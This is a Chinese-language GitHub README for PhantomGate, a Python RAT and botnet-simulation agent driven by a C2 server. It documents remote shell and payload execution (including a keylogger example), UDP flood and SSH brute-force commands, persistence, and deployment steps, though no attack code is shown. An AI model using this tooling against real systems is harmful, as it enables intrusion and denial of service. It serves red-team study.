omerKkemal/PhontomGate

GitHub: omerKkemal/PhontomGate

一个基于Python的跨平台远程管理(RAT)与僵尸网络模拟框架,专为安全研究和红队演练设计。

Stars: 0 | Forks: 0

PhantomGate

Visitors Stars Forks


            ╔═══════════════════════════════════════════════════════════════════╗

            ║  ██████╗ ██╗  ██╗ █████╗ ███╗   ██╗████████╗ ██████╗ ███╗   ███╗  ║

            ║  ██╔══██╗██║  ██║██╔══██╗████╗  ██║╚══██╔══╝██╔════╝ ████╗ ████║  ║

            ║  ██████╔╝███████║███████║██╔██╗ ██║   ██║   ██║  ███╗██╔████╔██║  ║

            ║  ██╔═══╝ ██╔══██║██╔══██║██║╚██╗██║   ██║   ██║   ██║██║╚██╔╝██║  ║

            ║  ██║     ██║  ██║██║  ██║██║ ╚████║   ██║   ╚██████╔╝██║ ╚═╝ ██║  ║

            ║  ╚═╝     ╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═══╝   ╚═╝    ╚═════╝ ╚═╝     ╚═╝  ║

            ║                                                                   ║

            ║     多用途远程管理与 Botnet 模拟                                  ║

            ╚═══════════════════════════════════════════════════════════════════╝



## 重要声明

仅供教育用途
本工具严格仅限于授权的安全研究、红队演练和教育目的
未经授权的使用是非法且不道德的。用户必须遵守所有适用法律。
作者对滥用或造成的损害概不负责。

## 导航菜单

## 概述 **PhantomGate** 是一个跨平台、模块化的远程管理工具 (RAT) 和僵尸网络模拟代理,专为**道德红队、安全研究和受控命令与控制 (C2) 演示**而开发。它与专用的 C2 服务器 **SpecterPanel** 协同工作,提供了一个现代、可扩展的框架,用于在安全的实验室友好环境中理解和模拟高级 C2 操作。 ``` graph LR A[SpecterPanel C2] -->|AES-256 Encrypted API| B[PhantomGate Agent] B --> C[Remote Command Execution] B --> D[Code Injection] B --> E[Botnet Simulation] B --> F[System Information Gathering] style A fill:#4f46e5,stroke:#fff,stroke-width:2px,color:#fff style B fill:#10b981,stroke:#fff,stroke-width:2px,color:#fff ``` ## 主要功能
| 模块 | 描述 | |:--------|:------------| | **C2 集成** | 与 SpecterPanel C2 服务器无缝连接 | | **远程命令执行** | 在远程主机上执行 Shell 命令并报告输出 | | **代码注入** | 从 C2 服务器下载并执行 Python 载荷 | | **终端-Web 桥接** | 通过 SpecterPanel Web 界面进行实时远程控制 | | **僵尸网络模拟** | UDP Flood 测试,SSH 暴力破解模拟 | | **安全模式** | 用于实验室环境的非破坏性模拟模式 | | **SQLite 跟踪** | 持久化的代理状态和命令日志记录 | | **AES-256 加密** | 所有 C2 通信均使用 AES-EAX 模式加密 | | **跨平台** | 运行于 Windows、Linux 和 Android (Termux) | | **Kivy GUI** | 用于本地管理的可选移动风格界面 | | **系统信息收集** | 收集操作系统、硬件和网络信息 | | **多线程** | 具有线程管理的并发僵尸网络操作 |
## 架构 ``` ┌────────────────────────────────────────────────────────┐ │ PHANTOMGATE AGENT │ ├────────────────────────────────────────────────────────┤ │ │ │ ┌─────────────────────┐ ┌─────────────────────┐ │ │ │ C2 COMMUNICATION │ │ COMMAND ENGINE │ │ │ │ • API Client │ │ • Shell Execution │ │ │ │ • AES Encryption │ │ • Built-in Commands│ │ │ │ • Polling Loop │◄────►│ • Output Handling │ │ │ │ • Target Register │ │ • Error Management │ │ │ └─────────────────────┘ └─────────────────────┘ │ │ ▲ ▲ │ │ │ │ │ │ ▼ ▼ │ │ ┌─────────────────────┐ ┌─────────────────────┐ │ │ │ CODE INJECTION │ │ BOTNET ENGINE │ │ │ │ • Payload Fetch │ │ • UDP Flood │ │ │ │ • Dynamic Import │ │ • SSH Brute Force │ │ │ │ • Execution Sandbox│ │ • Thread Manager │ │ │ │ • Output Reporting │ │ • Safe Mode Switch │ │ │ └─────────────────────┘ └─────────────────────┘ │ │ ▲ ▲ │ │ └──────────────┬───────────────┘ │ │ │ │ │ ┌──────┴──────┐ │ │ │ SQLite DB │ │ │ │ • Agents │ │ │ │ • Commands │ │ │ │ • Bot State │ │ │ └─────────────┘ │ │ │ │ │ ┌────────────┴────────────┐ │ │ │ │ │ │ ┌───────▼───────┐ ┌───────▼───────┐ │ │ │ HEADLESS │ │ KIVY GUI │ │ │ │ MODE │ │ (main.py) │ │ │ │ Background │ │ Interactive │ │ │ │ Service │ │ Management │ │ │ └───────────────┘ └───────────────┘ │ │ │ └────────────────────────────────────────────────────────┘ │ AES-256 Encrypted JSON over HTTPS │ ┌──────▼──────┐ │ SpecterPanel│ │ C2 │ └─────────────┘ ``` ## 安装 ``` # Clone the repository git clone https://github.com/omerKkemal/PhantomGate.git cd PhantomGate # Create and activate virtual environment python3 -m venv venv source venv/bin/activate # On Windows: venv\Scripts\activate # Install dependencies pip install -r requirements.txt # Configure the agent (edit setting.py) nano setting.py # Set C2 URL and API token # Run the agent (headless mode) python PhantomGate.py # OR run with GUI python main.py ``` ### 快速安装脚本 ``` chmod +x install.sh ./install.sh ``` ### 快速安装脚本 ``` install.bat ``` ## 配置 所有设置均在 `setting.py` 中管理。以下是完整的配置结构: ``` class Setting: def __init__(self): # ===== ENCRYPTION ===== # 16-byte AES key - CHANGE THIS FOR PRODUCTION! self.ENCRYPTION_KEY = b'your-16-byte-key-here' # ===== C2 SERVER ===== # SpecterPanel URL (no trailing slash) self.url = 'http://127.0.0.1:5000' # API token from SpecterPanel settings self.API_TOKEN = 'your-api-token-here' # ===== UDP FLOOD SETTINGS ===== # Target ports for UDP flood self.PORT = [80, 443, 8080, 22, 3389, 53, 123] # Raw packet headers (customize for simulation) self.FAKE_HEADERS = b'\x00\x01\x02\x03\x04\x05\x06\x07' # Timing controls (seconds) self.BASE_DELAY = 0.1 # Base delay between packets self.MAX_DELAY = 5.0 # Maximum random delay self.MIN_DELAY = 0.01 # Minimum random delay # ===== HTTP REQUESTS ===== # User agents for HTTP requests self.USER_AGENTS = [ 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36', 'Mozilla/5.0 (iPhone; CPU iPhone OS 14_0 like Mac OS X) AppleWebKit/605.1.15', ] # ===== TIMING ===== # Main loop polling interval (seconds) self.MAIN_LOOP_DELAY = 5 # ===== COMMAND CONFIGURATION ===== # Allowed instruction types from C2 self.INSTRUCTION = ['command', 'code', 'bot'] # Botnet action categories self.BOT_CATEGORY = ['udp', 'brut'] # Built-in commands (processed locally) self.BUILT_IN_COMMAND = ['sys_info', 'bot', 'db_info'] # ===== DATABASE ===== # SQLite database path self.DB_PATH = 'db/targetData.db' ``` ## 用法 ### 无头模式(后台代理) ``` # Start the agent with default settings python PhantomGate.py # Run as daemon (Linux) nohup python PhantomGate.py & ``` ### GUI 模式(Kivy 界面) ``` # Launch the GUI python main.py # GUI Features: # • Target Management - Add/remove targets from database # • Status Monitor - View agent health and connectivity # • Command History - Browse executed commands # • Thread Control - Start/stop botnet operations # • Database Viewer - Browse SQLite contents # • Log Viewer - Real-time log monitoring ``` ### 内置命令(从 C2 发送) | 命令分类 | 命令 | 描述 | 示例 | |:-----------------|:--------|:------------|:---------| | **系统** | `sys_info` | 收集操作系统、硬件、网络信息 | `sys_info` | | | `db_info` | 获取本地数据库统计信息 | `db_info` | | | `get_logs` | 获取最近的代理日志 | `get_logs 50` | | **僵尸网络** | `bot start udp` | 启动 UDP Flood(线程 ID:udp_1) | `bot start udp_1` | | | `bot start brut` | 启动 SSH 暴力破解 | `bot start brut_1` | | | `bot stop ` | 停止特定线程 | `bot stop udp_1` | | | `bot list` | 列出活动线程 | `bot list` | | | `bot status ` | 检查线程状态 | `bot status udp_1` | | **Shell** | `shell ` | 执行任意 Shell 命令 | `shell ls -la` | | | `shell powershell ` | Windows 上的 PowerShell | `shell powershell Get-Process` | | **代码** | `code exec ` | 执行注入的代码 | `code exec keylogger` | | | `code list` | 列出可用的载荷 | `code list` | ## API 端点 代理通过这些加密端点与 SpecterPanel 通信。所有载荷均采用 AES-256-EAX 加密封装。 ### 端点参考 | 端点 | 方法 | 频率 | 描述 | |:---------|:------:|:---------:|:------------| | `/api/v1.2/register_target` | `POST` | 一次 | 向 C2 注册代理 | | `/api/v1.2/ApiCommand/` | `GET` | 每次轮询 | 获取待处理命令 | | `/api/v1.2/Apicommand/save_output` | `POST` | 命令执行后 | 提交命令输出 | | `/api/v1.2/BotNet/` | `GET` | 每次轮询 | 获取僵尸网络指令 | | `/api/v1.2/get_instruction/` | `GET` | 每次轮询 | 获取操作指令 | | `/api/v1.2/injection/` | `GET` | 被指示时 | 下载 Python 载荷 | | `/api/v1.2/injection_output_save` | `POST` | 注入后 | 提交载荷输出 | ### 加密通信格式 ``` { "nonce": "base64_encoded_nonce", "ciphertext": "base64_encoded_encrypted_data", "tag": "base64_encoded_authentication_tag" } ``` ### 示例:命令输出提交 ``` # Plaintext payload before encryption { "target": "workstation-01", "command": "whoami", "output": "administrator", "status": "success", "timestamp": "2024-01-28T14:32:15Z" } # Encrypted wrapper sent to C2 { "nonce": "a1b2c3d4e5f6...", "ciphertext": "Zy8x3kPq9mN...", "tag": "7f9a2c4d..." } ``` ## 跨平台兼容性 | 平台 | 状态 | 测试版本 | 要求 | 备注 | |:---------|:------:|:----------------|:-------------|:------| | **Windows** | 完全支持 | 10, 11, Server 2019/2022 | Python 3.8+ | 注册表持久化,完全 Shell 访问 | | **Linux** | 完全支持 | Ubuntu 20.04+, Debian 11+, CentOS 8+ | Python 3.8+ | Bash/zsh 支持,守护进程模式 | | **Android** | 完全支持 | Android 10+ | Termux + Python | 有限的 Shell,文件系统访问 | ### 平台检测 PhantomGate 自动检测操作系统并进行调整: - **Windows**:使用 cmd.exe 或 PowerShell,通过注册表实现持久化 - **Linux/Unix**:使用 /bin/sh 或 /bin/bash,通过 crontab 实现持久化 - **Android**:通过环境变量检测,使用 Termux 环境 ## 安全模式 对于培训和实验室环境,PhantomGate 包含一个**安全模式**,该模式模拟破坏性操作而不实际执行。 ### 启用安全模式 ``` # Method 1: Environment variable export PHANTOMGATE_SAFE_MODE=1 python PhantomGate.py # Method 2: Modify PhantomGate.py (line ~50) SAFE_MODE = True # Set to True for simulation # Method 3: Command line flag python PhantomGate.py --safe-mode # Method 4: Configuration file # Add to setting.py self.SAFE_MODE = True ``` ### 安全模式行为对比 | 操作 | 正常模式 | 安全模式 | |:-------|:-----------:|:---------:| | **UDP Flood** | 发送实际 UDP 数据包 | 数据包被记录,无网络传输 | | **SSH 暴力破解** | 实际认证尝试 | 凭证被记录,连接被模拟 | | **文件操作** | 真实的文件创建/修改 | 操作被记录,无文件更改 | | **注册表更改** | 实际的注册表修改 | 注册表只读,更改被记录 | | **进程创建** | 生成真实进程 | 进程创建被模拟 | | **网络连接** | 建立实际连接 | 连接被模拟,无数据发送 | | **持久化** | 添加到启动项/注册表 | 仅记录启动方法 | ### 安全模式日志示例 ``` [SAFE MODE] UDP flood prevented: would send 1000 packets to 192.168.1.100:80 [SAFE MODE] SSH brute force simulated: attempted 50 passwords against root@10.0.0.5 [SAFE MODE] File write prevented: would create C:\temp\output.txt ``` ## 相关项目 ### SpecterPanel C2 服务器 管理 PhantomGate 代理的官方命令与控制服务器。 ``` ┌─────────────────┐ AES-256 ┌─────────────────┐ │ SpecterPanel │ ◄──────────────► │ PhantomGate │ │ C2 Server │ Encrypted │ Agent │ └─────────────────┘ API └─────────────────┘ ``` **功能:** - 用于代理管理的基于 Web 的仪表板 - 实时命令执行 - 代码注入面板 - 僵尸网络指令分发 - 多用户支持 - API Token 认证 **仓库:** [https://github.com/omerKkemal/oh-tool-v2](https://github.com/omerKkemal/oh-tool-v2) ## 安全与道德声明 PhantomGate 是一个**功能强大的工具**,其能力包括: ### 能力 - 在目标系统上远程执行命令 - Python 代码注入与执行 - 网络流量生成(UDP Flood 模拟) - SSH 暴力破解模拟 - 系统信息收集 - 持久化机制 - 反分析技术 ### 授权用例 - 经书面授权的渗透测试 - 受控环境中的红队演练 - 隔离实验室中的安全研究 - 教育演示 - C2 框架开发与测试 - 防御机制评估 ### 未授权用例 - 对任何系统的未经授权访问 - 犯罪或恶意活动 - 未经许可的生产系统 - 违反计算机欺诈法律 - 任何造成伤害或损害的使用 ### 法律合规 用户必须遵守: - 地方、州和联邦法律 - 美国的《计算机欺诈与滥用法》(CFAA) - 其他司法管辖区的类似法律 - 组织政策和授权 ## 许可证 **仅供教育和授权研究使用** 版权所有 © 2024 Omer Kemal 本软件**仅用于教育目的和授权的安全研究**。未授予任何明示或暗示的许可证用于任何未经授权或商业用途。 ### 许可 - 学术环境中的教育用途 - 授权的渗透测试 - 实验室环境中的安全研究 - 个人学习与开发 ### 限制 - 未经明确许可不得用于商业用途 - 不得出于恶意目的重新分发 - 不得未经授权部署 - 不得为非法活动进行修改 **免责声明:** 本软件绝对不提供任何保证。作者不对因使用本软件而造成的任何滥用或损害负责。 ## 作者
**Omer Kemal** *安全研究员 & 开发者* | 项目 | 链接 | |:--------|:-----| | **C2 服务器** | [SpecterPanel](https://github.com/omerKkemal/oh-tool-v2) | | **代理** | [PhantomGate](https://github.com/omerKkemal/PhontomGate) | | **目的** | 安全教育与研究 | 如有问题、反馈或负责任的披露,请在 GitHub 上提出 Issue。


© 2024 PhantomGate. For Authorized Security Research Only.

标签:AES加密, Android, C2框架, DNS 反向解析, DSL, Flask, HTTP工具, IP 地址批量处理, Kivy, Mr. Robot, Python, RAT, Socket通信, SQLite, 代码生成, 僵尸网络模拟, 后渗透, 命令控制, 安全学习资源, 攻击模拟, 教育用途, 数据采集, 无后门, 无线安全, 渗透测试工具, 网络信息收集, 网络安全, 网络安全审计, 远控木马, 远程管理, 逆向工具, 隐私保护, 驱动签名利用